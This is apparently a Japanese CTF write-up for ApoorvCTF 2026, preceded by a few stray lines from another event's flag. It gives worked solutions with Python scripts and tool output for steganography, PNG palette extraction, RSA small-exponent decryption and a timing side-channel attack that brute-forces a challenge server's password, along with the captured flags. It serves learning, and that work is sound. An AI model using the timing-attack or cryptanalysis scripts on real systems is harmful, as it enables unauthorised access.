Message 2:  16441782473165749985269251414928450202051900518929647105868978172963309169080628914206924705003483790602
utflag{my_obl1v10u5_fr13nd_ru1n3d_my_c0de}
utflag{my_obl1v10u5_fr13nd_ru1n3d_my_c0de}

ApoorvCTF 2026 Writeup

この大会は2026/3/7 6:00(JST)~2026/3/9 6:00(JST)に開催されました。
今回もチームで参戦。結果は450点で850チーム中259位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Miscellaneous)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

apoorvctf{fr33_p01n7s_f0r_j01n1ng_d1sc0rd_67}

The Gotham Files (Forensics)

$ exiftool challenge.png
ExifTool Version Number         : 13.25
File Name                       : challenge.png
Directory                       : .
File Size                       : 921 kB
File Modification Date/Time     : 2026:03:07 07:06:45+09:00
File Access Date/Time           : 2026:03:07 07:07:01+09:00
File Inode Change Date/Time     : 2026:03:07 07:06:45+09:00
File Permissions                : -rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1920
Image Height                    : 1200
Bit Depth                       : 8
Color Type                      : Palette
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Palette                         : (Binary data 768 bytes, use -b option to extract)
Artist                          : The Collector
Comment                         : Not all colors make it to the page. In Gotham, only the red light tells the truth.
Image Size                      : 1920x1200
Megapixels                      : 2.3

赤のデータに何か隠されているようだ。パレットを抽出する。

$ exiftool -b -Palette challenge.png > palette.bin

このデータから赤だけ抽出し、順番に文字にしていく。

#!/usr/bin/env python3
import re

with open('palette.bin', 'rb') as f:
    data = f.read()

reds = []
for i in range(0, len(data), 3):
    reds.append(data[i])

msg = b''
for red in reds:
    msg += bytes([red])

pattern = b'(apoorvctf{.+})'

m = re.search(pattern, msg)
flag = m.group(1).decode()
print(flag)

この結果、フラグが含まれていた。

apoorvctf{th3_c0m1cs_l13_1n_th3_PLTE}

Routine Checks (Forensics)

No.14のパケットサイズが大きいので見てみると、JPGのようなデータが流れている。これをエクスポートすると、先頭1バイトが壊れているので、"\x3f"を"\xff"に修正して修復する。

修復した画像にはQRコードが描かれているので、デコードする。

apoorvctf{this_aint_it_brother}

これはフラグとして通らなかった。

steghideでパスワードなしで秘密情報を抽出してみる。

$ steghide extract -sf flag.jpg                     
Enter passphrase: 
wrote extracted data to "realflag.txt".
$ cat realflag.txt     
apoorvctf{b1ts_wh1sp3r_1n_th3_l0w3st_b1t}
apoorvctf{b1ts_wh1sp3r_1n_th3_l0w3st_b1t}

The Riddler’s Cipher Delight (Cryptography)

RSA暗号だが、nが極端に大きく、eは小さい。Low Public-Exponent Attackで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
import gmpy2

N =  17520886769422446781402845171452766678392945055507226042115591127790949038926405961588057901152880775198538951363849458511296788407527886190154759113620716962246342938913740398465525503895457929394994569820769711534794538522137993456194572001467194513826600891537022249206765745867423270603572791751504625621683522248065102814089587644651305112722919320696919194544558237008950904152753314856531469392976852299194227815343105809059455186267184706498969875531092067425496067267400027976328334687257293407409892934030446988318349271430705178690957392508571214791220858911022252486038830213798547638612103672306741523579
e =  3
c =  5959848254333830910624523071067197529743942832931749422613446095759596470869632698744448445022974243192082623200541274049999046045462632699888118125553180389758240097512080800465269924123706310996597928101365256237876736940573969864179631586328876422479408805381027940806738410297399027560825960052951200511768291312433697743253773594534719688371211151318607767527029263892621127356788516738086153844247429662752321125

m, success = gmpy2.iroot(c, e)
assert success == True
flag = long_to_bytes(m).decode()
print(flag)
apoorvctf{3ncrypt1ng_w1th_RSA_c4n_b3_4_d4ng3r0us_cl1ff_83}

Tick Tock (Cryptography)

1桁ずつ確認し、一番反応に時間がかかる数字がパスワードの断片になる。

#!/usr/bin/env python3
import socket
import time

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chals3.apoorvctf.xyz', 9001))

data = recvuntil(s, b'\n').rstrip()
print(data)

found = False
password = ''
while True:
    max_time = 0
    max_num = ''
    for i in range(10):
        try_password = password + str(i)
        data = recvuntil(s, b': ')
        print(data + try_password)
        start = time.time()
        s.sendall(try_password.encode() + b'\n')
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        end = time.time()

        t = end - start
        if t > max_time:
            max_time = t
            max_num = str(i)

        if data != 'Incorrect password.':
            found = True
            break

    password += max_num

    if found:
        break

実行結果は以下の通り。

Welcome to the password checker!
Please enter the password: 0
Incorrect password.
Please enter the password: 1
Incorrect password.
Please enter the password: 2
Incorrect password.
Please enter the password: 3
Incorrect password.
Please enter the password: 4
Incorrect password.
        :
Please enter the password: 934780189094
Incorrect password.
Please enter the password: 934780189095
Incorrect password.
Please enter the password: 934780189096
Incorrect password.
Please enter the password: 934780189097
Incorrect password.
Please enter the password: 934780189098
Correct! apoorvctf{con5t4nt_tim3_or_di3}
apoorvctf{con5t4nt_tim3_or_di3}